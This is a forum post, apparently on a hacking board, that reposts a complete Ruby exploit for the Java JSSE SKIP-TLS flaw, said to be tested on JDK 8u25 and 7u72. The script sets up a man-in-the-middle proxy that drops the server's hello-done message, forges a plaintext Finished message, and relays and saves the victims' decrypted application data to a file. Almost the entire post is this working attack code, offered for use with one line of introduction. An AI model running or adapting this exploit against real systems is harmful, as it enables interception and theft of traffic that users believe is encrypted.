Jump to content
KhiZaRix

Java Secure Socket Extension (JSSE) SKIP-TLS

Recommended Posts

Posted

Java Secure Socket Extension (JSSE) SKIP-TLS exploit that has been tested on JDK 8u25 and 7u72. This is a stand-alone ruby exploit and does not require Metasploit.


#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.

require 'openssl'
require 'optparse'
require 'socket'

Version = [0, 0, 1]
Release = nil

def prf(secret, label, seed)
if secret.empty?
s1 = s2 = ''
else
length = ((secret.length * 1.0) / 2).ceil
s1 = secret[0..(length - 1)]
s2 = secret[(length - 1)..(secret.length - 1)]
end

hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)

hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed)

result = ''
[hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') }
result
end

def prf_sha256(secret, label, seed)
hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed)
end

class String
def hexdump(stream=$stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf('%08x ', i)

0.upto(15) do |j|
stream.printf(' ') if j == 8

if i + j >= bytesize
stream.printf(' ')
else
stream.printf('%02x ', getbyte(i + j))
end
end

stream.printf(' ')

0.upto(15) do |j|
if i + j >= bytesize
stream.printf(' ')
else
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf('%c', getbyte(i + j))
else
stream.printf('.')
end
end
end

stream.printf("\n")
end
end
end

options = {}

OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host"

parser.separator('')
parser.separator('Options:')

parser.on('-H', '--local-host HOST', 'Local host') do |host|
options[:local_host] = host
end

parser.on('-P', '--local-port PORT', 'Local port') do |port|
options[:local_port] = port
end

parser.on('-d', '--debug', 'Debug mode') do
options[:debug] = true
end

parser.on('-h', '--help', 'Show this message') do
puts parser
exit
end

parser.on('-o', '--output FILE', 'Output file') do |file|
options[:file] = File.new(file, 'w+b')
end

parser.on('-p', '--port PORT', 'Port') do |port|
options[:port] = port
end

parser.on('-v', '--verbose', 'Verbose mode') do
options[:verbose] = true
end

parser.on('--version', 'Show version') do
puts parser.ver
exit
end
end.parse!

local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false

proxy = TCPServer.new(local_host, local_port)
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose

loop do
Thread.start(proxy.accept) do |client|
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

finished_sent = false
handshake_messages = ''
version = ''

context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE

tcp_socket = TCPSocket.new(host, port)
ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
ssl_server.connect

puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose

server = TCPSocket.new(host, port)

puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

loop do
readable, = IO.select([client, server])

readable.each do |r|
if r == ssl_server
# ssl_server is an SSL socket; read application data directly
header = ''
fragment = r.readpartial(4096)
fragment.hexdump($stderr) if debug
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
else
header = r.read(5)
raise EOFError if header.nil?
header.hexdump($stderr) if debug
puts '%d bytes received' % [header.bytesize] if debug || verbose

fragment = r.read(header[3, 2].unpack('n')[0])
fragment.hexdump($stderr) if debug
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
end

if finished_sent
if file
# Save application data
file.write(fragment)
file.flush
file.fsync
end
elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done
# Drop the server hello done message and send the finished
# message in plaintext.
if header[2, 1] == "\x03"
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
verify_data = verify_data[0, 12]
else
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
verify_data = verify_data[0, 12]
end

finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
record = header[0, 3] + [finished.length].pack('n') + finished

count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

finished_sent = true

# Change to the SSL socket
server.close
server = ssl_server

# Save version used in the handshake
version = header[2, 1]

next
else
# Save handshake messages
handshake_messages << fragment
end

case r
when client
if finished_sent
# server is an SSL socket
count = server.write(fragment)
server.flush
fragment.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
else
# server isn't an SSL socket
record = header + fragment
count = server.write(record)
server.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end

when ssl_server
# client isn't an SSL socket; add the record layer header with
# the same version used in the handshake.
header = "\x17\x03#{version}" + [fragment.length].pack('n')
record = header + fragment
count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

when server
record = header + fragment
count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end
end
end

client.close
server.close
end
end

proxy.close

Source: https://dl.packetstormsecurity.net/1511-exploits/rcvalle_skiptls.rb.txt

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...